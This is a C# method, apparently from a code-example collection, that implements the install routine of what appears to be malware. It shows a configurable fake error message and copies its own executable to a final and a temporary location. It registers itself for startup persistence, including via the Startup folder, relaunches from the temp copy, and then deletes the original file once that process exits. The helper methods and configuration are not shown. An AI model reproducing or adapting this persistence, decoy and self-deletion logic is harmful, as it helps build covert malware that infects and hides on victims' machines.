Beispiel #1
0
        internal static void InitSoftware(Config.StartModeType startMode, string arg)
        {
            if (startMode == Config.StartModeType.Debug)
            {
                MessageBox.Show(Resources.StartModeDebug);
                return;
            }
            if (arg != null)
            {
                if (startMode == Config.StartModeType.DeleteItself)
                {
                    arg = arg.Replace("?", " ");
                    if (Path.IsPathRooted(arg) && File.Exists(arg))
                    {
                        int  num = 0;
                        bool flag;
                        do
                        {
                            string fileNameWithoutExtension = Path.GetFileNameWithoutExtension(arg);
                            string exeFolderPath            = Directory.GetParent(arg).ToString();
                            flag = Process.GetProcessesByName(fileNameWithoutExtension).FirstOrDefault((Process p) => p.MainModule.FileName.StartsWith(exeFolderPath)) != null;
                            Thread.Sleep(100);
                            num++;
                        }while (flag && num < 100);
                        Thread.Sleep(300);
                        if (!flag)
                        {
                            File.Delete(arg);
                        }
                    }
                }
                if (startMode == Config.StartModeType.ErrorMessage)
                {
                    MessageBox.Show(Config.ErrorMessage, Config.ErrorTitle, MessageBoxButtons.OK, MessageBoxIcon.Hand);
                }
                if (Config.OnlyRunAfterSysRestart)
                {
                    Environment.Exit(0);
                }
                return;
            }
            string tempExePath = Config.TempExePath;

            if (Config.FinalExeRelativePath != null)
            {
                string b = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Startup), Path.GetFileName(Config.FinalExeRelativePath));
                Windows.SetStartup(Config.StartupMethod);
                if (Application.ExecutablePath == Config.FinalExePath || Application.ExecutablePath == b)
                {
                    return;
                }
            }
            if (ExeSmartCopy(Config.FinalExePath, overwrite: true))
            {
                ExeSmartCopy(tempExePath, overwrite: true);
            }
            string arguments = Application.ExecutablePath.Replace(" ", "?");

            Process.Start(tempExePath, arguments);
            Environment.Exit(0);
        }